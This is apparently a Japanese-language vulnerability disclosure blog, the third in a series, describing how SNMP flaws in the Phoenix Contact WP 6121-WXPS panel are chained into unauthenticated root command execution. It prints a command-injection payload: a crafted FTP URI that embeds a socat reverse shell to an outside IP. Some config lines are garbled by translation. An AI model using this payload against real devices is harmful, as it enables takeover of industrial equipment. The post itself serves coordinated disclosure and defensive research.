この 3 回シリーズの最初のブログでは,フエニックス・コンタクト社の Web Panel 6121-WXPS デバイス(ファームウェア・バージョン 3.1.7)に発見した 14 件の脆弱性を公開した.その後,2 回目のブログで ,HTTPS サービスを解析し,悪用して,基盤となる Linux OS 上で OS コマンドを実行するために行ったプロセスの技術的な詳細について説明しました.
最終回となるこの第3回では,SNMPプロトコルに影響を与えるすべての脆弱性を分析し,悪用するためにたどったプロセスを掘り下げていきます.具体的には,攻撃者がこれらの問題をすべて連鎖させて,認証なしで管理シェルを取得する方法を紹介します.このサービスは,Phoenix Contact WP 6121-WXPSのデフォルトで有効になっており,今回発見した脆弱性を悪用するために,カスタムまたは特定の設定は必要ないことを強調しておきます.
我々が発見した問題に対して,フエニックス・コンタクト社は,報告されたすべての脆弱性に対処した新しいファームウェア・リリース(v4.0.10)を作成し,これらの問題は6121-WXPSデバイスだけでなく,WP6000製品ファミリー全体に影響を及ぼすと断言した.
要点
フエニックス・コンタクトWP 6121-WXPSは,SNMPプロトコルを使用してデバイスを監視するだけでなく,リモートファームウェアアップデートをトリガします.この機能はカスタム共有ライブラリによって実装され,その仕様はベンダーが提供するMIBファイル内に格納されています.
私たちはこのプロトコールに関していくつかの問題点を指摘した:
- cve-2023-37860:HTTPS ウェブサービスによって公開されている非認証 API を利用することで, SNMPv2 プロトコルで認証メカニズムとして使用されている "read" および "write" コミュニティ文字列を取得することが可能です.
- cve-2023-37859:我々は,SNMP サービス (すなわち Net-SNMP) が root 権限で実行され,拡張 MIB "NET-SNMP-EXTENDED-MIB" が読み込まれることを確認しました.この機能が悪用されると,SNMP エージェントを通じて任意のシェルスクリプトを実行される可能性があります.
- CVE-2023-37863ファームウェアアップデート機能に「OS コマンドインジェクション」の脆弱性が存在することを発見しました.
- これまでの問題を連鎖させることで,リモートの攻撃者は認証なしで管理者シェルを取得できる.
SNMPv2サービスのパラメータは,デバイスのHTTPSサービスを通じて設定できるため,そのセキュリティ態勢の評価を開始した.

脆弱性調査CVE-2023-37860
まず,実際のSNMP設定(例えば,コミュニティ文字列の読み取りと書き込み)を取得するために使用される,基礎となる「/api/operation/snmp」APIが,認証されていないユーザーによってアクセスされる可能性があることを確認した.以下のスクリーンショットに示すように,「connect.sid」セッションクッキーがない場合でも,このAPIにアクセスできる可能性がある.

脆弱性調査CVE-2023-37859
SSH接続によるLinuxシェルへのアクセスを活用して,SNMPv2ネットワーク・サービスの詳細を特定することができた.

上に示したように,SNMPプロセスはroot権限で実行されている(つまり,UserIDは0に設定されている).この動作は,設定ファイルを見ることでも確認できる:
browser@wp6000:~$ cat default_config/snmpd.conf | grep -v '#'
マスターエージェントX
エージェントユーザ root
エージェントグループルート
エージェントアドレス 161
rwuser noauth
ルーザー・ノース
地域公共
rwcommunity プライベート
シスロケーション
シスコンタクト
さらに,SNMP サービス(すなわち,Net-SNMP)が拡張 MIB「NET-SNMP-EXTENDED-MIB」をロードしていることを確認した.他のセキュリティ研究者([1],[2])によって既に説明されているように,この MIB は,書き込みコミュニティ文字列を知っている人であれば,SNMP エージェントを通じて任意のシェルスクリプトを実行するために悪用される可能性があります.以前に報告された CVE-2023-37860 の脆弱性のため,攻撃者は認証なしで書き込みコミュニティ文字列を取得し,利用可能なオープンソースツールを使用して管理シェルを取得することができます.
以下に示すように,この問題を利用して,リモート・シェルと管理用シェルを取得することができた:

脆弱性調査CVE-2023-37863
フエニックス・コンタクト社の製品ページを閲覧していたところ,ターゲット・デバイスのファームウェア・アップデート・イメージをいくつか発見した.特に,wp6000_snmp_complete_v3.1.7.zipファームウェアには,次のような説明があることがわかった:「この zip ファイルには,SNMP を使用してパネルをリモート・アップデートするための MIB と SNMP イメージ・ファイルが含まれています.
ファームウェア・アップデート機能は,標準 SNMP プロトコルの一部ではないため,私たちは,この機能がデバ イスによってどのように実装されているかを調査し始めた.フエニックス・コンタクト社から提供された MIB ファイル(すなわち,PXC-WP6K-MIB.mib)を分析する中で,我々は,それが 3 つのカスタム OID 変数を使用していることを確認した:
- pxcFirmwareUpgradeStatus: (読み取り専用)最後のファームウェア更新の結果を示す.
- pxcFirmwareUpgradeFileName:(Read/Write)は,ファームウェア・アップデート・ファイルをホストする FTP/SFTP サーバーの URI を設定するために使用します.
- pxcFirmwareUpgradeAction:(Read/Write)は,ファームウェア・アップデートプロセスのトリガーに使用される.

さらに,ブラウザ・ユーザーのホーム・フォルダー内には,「snmp」という名前のディレクトリがあり,以下のような内容になっていることがわかった:
ls -lR home/browser/snmp
-rwxr-xr-x@ 1 gabriele.quagliarella staff 66 Jun 28 2022 cleanup_fw.sh
-rwxr-xr-x@ 1 gabriele.quagliarella staff 7717 Jun 28 2022 get_remote_fw.sh
-rwxr-xr-x@ 1 gabriele.quagliarella staff 1919 Jun 28 2022 snmp_usb.sh
-rw-r--r--@ 1 gabriele.quagliarella staff 2 Jun 28 2022 status.txt
以下のスクリーンショットからわかるように,get_remote_fw.shスクリプトは,提供された引数値を,リモートの場所からファームウェア・アップデートをダウンロードするために実行されるopen ftp://コマンドのコンフィギュレーション・パラメーターとして使用する役割を担っている.

この発見後,SNMPエージェントがpxcFirmwareUpgradeFileNameOIDを通じて提供されたURIを受け取り,それを解析して,FTPプロトコルを介して接続するために必要な抽出されたパラメータ(アカウント,パスワード,IPなど)をget_remote_fw.sh Bashスクリプトの引数として使用していることがわかった.
例として,pxcFirmwareUpgradeFileName変数に"ftp://root:root@192.168.1.1:1337/update/update.zip "URIが設定されている場合,SNMPエージェントはそれを解析し,以下の値を抽出する:
- IP: 192.168.1.1
- ポート:1337
- アカウント: root
- パスワード: root
- ファイルパス: update/update.zip
- ファイル名:update.zip
- カテゴリー: アップデート
このファームウェア・アップデート機能は,標準の Net-SNMP プロジェクトの一部ではないため,カスタムの共有ライブラリ関数に実装する必要があり,この関数は SNMP エージェントによってインポートされ使用されます.
この知識を活用して,デバイス・ファイルシステム上にあるすべての共有ライブラリからget_remote_fw文字列を探したところ,以下の証拠からわかるように,/usr/lib/libnetsnmpmibs.so.35.0.0ライブラリに見つかった:
$ strings ./usr/lib/libnetsnmpmibs.so.35.0.0 | grep 'get_remote_fw'
/home/browser/snmp/get_remote_fw.sh %s %s %d %s %s %s %s %s
/home/browser/snmp/get_remote_fw.sh %s %s %d %s %s %s
前の2つのフォーマット文字列は我々にとって非常に有望に思えたので, libnetsnmpmibs.so.35.0.0共有ライブラリの解析を開始した.このライブラリーはストリップされているが,ファームウェア・アップデートに関するいくつかの関数をエクスポートしている.
ファイル usr/lib/libnetsnmpmibs.so.35.0.0
usr/lib/libnetsnmpmibs.so.35.0.0: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c2c391d4647de6ab57253a5a0ea73be9a7df1ce3, stripped

これらの機能をリバースエンジニアリングした結果,我々は次のことを発見した:
- write_pxcFirmwareUpdateFileName関数は,SNMP 変数pxcFirmwareUpgradeFileNameOID の読み取りと解析に使用されます.有効な URI が提供された場合,この関数は,FTP/SFTP サーバーへの接続に必要なすべての引数(ユーザー名,パスワード,FTP アドレスなど)を設定します.
- write_pxcFirmwareUpdateAction関数は,先に解析した引数を使用して/home/browser/snmp/get_remote_fw.sh Bashスクリプトを実行する.

上に示したように,Bashスクリプトは安全でない標準Cの「popen」関数を通して実行される.この知識を活用して,以下のようなサブシェルコマンドをファイル名として含む悪意のあるURIを作成することができた:
ftp://AAAA:BBBB@127.0.0.1:1337/CCCC/$({socat,tcp-connect:192.168.45.198:4444,exec:sh}).zip
After setting the malicious URI and triggering the firmware update process, the write_pxcFirmwareUpdateAction function uses /$({socat,tcp-connect:192.168.45.198:4444,exec:sh}).zip as file name of the firmware image.
悪意のあるペイロード(すなわち,Bashサブシェル)のため,この値が「popen」関数の引数として使用されるとすぐに,ターゲットのWP 6121-WXPSデバイス上で管理シェルが獲得される.


結論
フエニックス・コンタクト社製HMIに発見され公開された脆弱性に関するこの最後のブログでは,フエニックス・コンタクト社製WP 6121-WXPSのデフォルトで公開されているSNMPサービスに発見された弱点について,技術的な詳細を説明しました.報告されたすべての問題を連鎖させることで,ターゲット・デバイス上で認証されていないリモート・コマンドの実行に成功しました.
調査プロセスを通じて,Nozomi Networks Labs は,彼らが特定し,フエニックス・コンタクトに報告したほとんどの重要な脆弱性の詳細を開示しました.フエニックス・コンタクトの PSIRT には,脆弱性の開示プロセスにおける協力に感謝する.